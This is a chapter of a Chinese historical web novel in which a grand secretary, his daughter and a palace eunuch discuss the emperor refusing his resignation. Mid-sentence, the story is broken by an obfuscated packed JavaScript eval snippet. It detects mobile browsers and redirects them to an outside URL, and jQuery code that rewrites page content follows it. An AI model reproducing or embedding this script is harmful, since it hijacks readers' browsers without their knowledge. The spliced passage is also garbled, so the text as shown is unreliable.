“这是江浙总督新献给万岁的虎丘茶,味醇香幽。万岁听说您爱喝茶,特意请您品尝一二。”冯凭将一盏满茶推向陆正那边,笑道。 “有劳你跑一趟了,”陆正也没有推辞,微抿一口,点头笑道:“确实是好茶。” 冯凭又笑着张望了一眼坐在陆正右侧的陆晚,赞道:“这就是令爱吧?” “早就听闻令爱才貌双全,今日一见,方知所言非虚。” 见他如此称赞,陆晚也只得稍稍欠身回应:“冯掌印缪赞了。” 陆正却忽而转了话题。他无意识地摩挲着青瓷茶盏的边缘,似在沉吟:“陛下愿意恩准我请辞吗?” “这……”冯凭欲言又止,犹豫地看了一眼陆晚。陆晚立刻会意,刚要起身请辞,却被陆正以手势制止。 “冯掌印不必顾忌,直说便可。” 闻言,冯凭一向堆满笑容的脸上忽地多了几分惆怅,长叹道:“陛下还是希望您留下来。” 陆晚的心脏狠狠一跳,不自知地开口,嗓音发颤:“为何……” 这一声带颤的尾音令在场的冯凭和陆正皆是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362449|183750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一愣。 陆晚回过神来,意识到自己失态,忙抱歉地笑笑:“我只是担心父亲的身体。” 话虽是这么说,她的心绪却乱的厉害。她不自觉地绞着手帕,眼帘低垂,想起了很多前世里的事情。 陆正二十岁离开荆州,赴京赶考,四十四岁病逝。二十四个春秋里,他从地方官一路升到中央机要的阁臣,辗转多地,奔波忙碌,却从未回过荆州。 生死有命。既然生死已经是注定的事情了,那么在死亡之前呢? 少小离家老大回,乡音难改鬓毛衰。白发之年,得归故乡,这是幸事。可是难道自己的父亲,病重之时,临死之际,连这一桩幸事都不能有吗? 陆正听了冯凭的话后,倒是没有过多的表情,只是淡声道:“多谢掌印告知。” 冯凭虽为内廷宦官,但毕竟也与眼前这位内阁首辅相交多年。既有盟友之谊,亦有欣赏仰慕之意。此时也不免有些难过,他思衬片刻,复又道:“首辅大人,您为国事操劳了大半辈子,为自己考虑一下也是应该的。”他一面说着,一面看向庭院。 恰时风起,庭院里栽种的枇杷叶纷纷而落,堆满了石板。 “万岁敬重您,”他顿了顿,目光飘忽:“但万岁如今已是二十有二了,也该亲自挑起这肩上的万里江山了。” 陆正听了,喉咙里漫出一阵轻笑,指着冯凭道:“你们宫里人说话就是这么迂回。你啊你,还是这么狡猾,有话直说不就行了。” “树大招风,”他续道:“你这是想提点我要善于谋身,为自己做好打算啊” “您英明卓越,洞若观火。咱家哪敢提醒您啊,只是不忍心见您身负憾事,难能畅怀。” 这一句“身负憾事”可谓通透至极。自陆正未曾守孝归家,而是继续留京任职之时,朝野上下都是沸腾一片。几乎所有的文官御史,都弹劾陆正“为人冷漠,罔顾纲常,有悖孝道”。小至百姓,大至朝官,燕京城的大部分人都觉得这位首辅贪恋权势,漠视人情。 但眼下,一位内廷的宦官却瞧出了陆正心底的遗憾。陆晚不得不佩服这位冯掌印的玲珑心思和明镜似的眼力见。 陆正沉默下来,待杯盏里的茶凉了过后,方出声道:“看来明日,我又要向陛下再递一道请辞的折子了。”